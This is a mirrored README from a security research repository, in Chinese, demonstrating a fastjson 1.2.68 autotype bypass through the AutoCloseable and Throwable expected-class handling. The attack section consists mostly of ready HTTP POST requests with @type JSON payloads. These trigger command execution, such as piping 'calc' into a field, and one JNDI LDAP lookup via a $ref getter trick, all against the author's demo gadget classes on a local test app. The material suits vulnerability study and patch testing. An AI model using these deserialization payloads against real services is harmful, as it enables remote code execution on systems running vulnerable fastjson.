Code Monkey home page Code Monkey logo

fastjson-bypass-autotype-1.2.68's Introduction

fastjson-bypass-autotype-1.2.68

fastjson因为exceptClass期望类的特性导致可以通过AutoCloseable和Throwable绕过autotype。

复现

运行org.chabug.fastjson.DemoApplication,访问http://localhost:8082/json

AutoCloseable绕过

POST /parseObject HTTP/1.1
Host: test.local:8082
Connection: close
Content-Type: application/json
Content-Length: 131

{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecCloseable",
  "domain": "y4er.com | calc"
}

Throwable绕过

POST /parseObject HTTP/1.1
Host: test.local:8082
Connection: close
Content-Type: application/json
Content-Length: 127

{
  "@type":"java.lang.Exception",
  "@type": "org.chabug.fastjson.exploit.ExecException",
  "domain": "y4er.com | calc"
}

拓展AutoCloseable绕过 Runnable

POST /parseObject HTTP/1.1
Host: test.local:8082
Connection: close
Content-Type: application/json
Content-Length: 174

{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecRunnable",
  "eval":{"@type":"org.chabug.fastjson.exploit.EvalRunnable","cmd":"calc"}
}

Readable

POST /parseObject HTTP/1.1
Host: test.local:8082
Connection: close
Content-Type: application/json
Content-Length: 174

{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecReadable",
  "eval":{"@type":"org.chabug.fastjson.exploit.EvalReadable","cmd":"calc"}
}

使用$ref拓展攻击面,使用parse()解析的也能触发任意getter。来自于@threedr3am 师傅

POST /parse HTTP/1.1
Host: php.local:8082
Connection: close
Content-Type: application/json
Content-Length: 159

{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.RefAnyGetterInvoke",
  "resourceName":"ldap://localhost:1389/Calc",
  "instance":{"$ref":"$.instance"}
}

说明

用到的org.chabug.fastjson.exploit.ExecExceptionorg.chabug.fastjson.exploit.ExecCloseable都是我自己写的,在其getter中实现了Runtime.getRuntime().exec(),真正要利用还是得自己找到可用的gadget。

另外浅蓝师傅、Kingkk师傅以及l1nk3r师傅的文章中已经说的很明白了,走JNDI注入困难,找找写文件什么的还行,我也还在寻找gadget的过程中,欢迎师傅们加我一起交流

参考

  1. https://github.com/iSafeBlue/fastjson-autotype-bypass-demo
  2. https://b1ue.cn/archives/348.html
  3. https://b1ue.cn/archives/382.html
  4. 浅谈下Fastjson的autotype绕过
  5. https://forum.90sec.com/t/topic/1115

fastjson-bypass-autotype-1.2.68's People

Contributors

y4er avatar dependabot[bot] avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.